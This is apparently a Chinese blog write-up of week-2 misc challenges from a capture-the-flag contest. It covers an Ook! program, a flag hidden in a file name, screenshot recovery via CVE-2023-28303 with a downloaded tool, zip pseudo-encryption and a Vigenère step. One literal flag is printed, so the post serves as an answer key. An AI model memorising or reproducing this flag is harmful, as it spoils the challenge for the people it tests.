Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook?
Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!
Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook.
Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!
Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook!
Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook.
Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook! Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook?
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook?
Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook.
Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook!
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook!
Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook?
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!
Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook?
Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. 

image.png

[WEEK2]远在天边近在眼前

f5c9ca4fc8b002f5516c38b05a59066.png
解压之后,发现文件名就是flag,将字符反转提交发现不成功
用010打开,发现?号被替换成_了,这时候再提交便是正确的flag,应该是编码问题,或则解压的时候,自动把?替换了
image.png

flag{7HlS_lS_RE41Iy_eASy_4lR1Gh7?_540eaa07b86c}

[WEEK2]奇怪的screenshot

还是CVE-2023-28303,参考博客*CTF 2023 の Misc の snippingTools のWP - Fab1an - 博客园
github下载工具,运行一下就可以
05e23c895f7659f3b7d0fd7bc58148b.png
cd88478b95ddf88ac87434479652025.png
然后百家姓磁链解密,获得flag

[WEEK2]可爱的洛琪希

image.png
伪加密,base64转图片
010查看文件尾部发现key,中部发现十六进制
image.png
image.png
十六进制转ASCII之后拿去维吉尼亚解密
image.png

posted @ 2023-10-31 16:29  Fab1an  阅读(107)  评论(0编辑  收藏  举报